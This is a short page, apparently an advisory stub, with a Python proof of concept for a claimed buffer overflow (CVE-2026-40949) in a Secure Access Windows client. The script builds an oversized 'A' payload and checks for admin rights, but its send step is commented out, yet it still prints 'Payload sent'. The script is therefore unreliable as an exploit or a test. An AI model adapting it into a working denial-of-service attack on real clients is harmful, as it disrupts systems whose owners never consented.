CVE-2026-40949 Secure Access客户端缓冲区溢出漏洞

# Proof of Concept (PoC) for CVE-2026-40949 # This script demonstrates the concept of triggering the buffer overflow. # Note: Actual exploitation requires access to the vulnerable internal API or interface. import sys import os def generate_malicious_payload(): # Create a large payload to trigger the buffer overflow # The exact size may vary depending on the specific vulnerable buffer payload = b'A' * 10000 return payload def exploit(): # Check if running with necessary privileges (PR:H) if os.name == 'nt': try: import ctypes if not ctypes.windll.shell32.IsUserAnAdmin(): print("[!] Error: This PoC requires Administrator privileges (High Privileges required).") return except ImportError: pass print("[*] Generating malicious payload...") payload = generate_malicious_payload() print(f"[*] Payload length: {len(payload)} bytes") print("[*] Attempting to trigger the vulnerability in Secure Access Windows Client...") # In a real scenario, this would involve interacting with the client's specific IPC mechanism or file input. # For example: vulnerable_client_function(payload) try: # Simulating the trigger # vulnerable_interface.send(payload) print("[+] Payload sent. If the target is vulnerable (< v14.50), a Denial of Service should occur.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()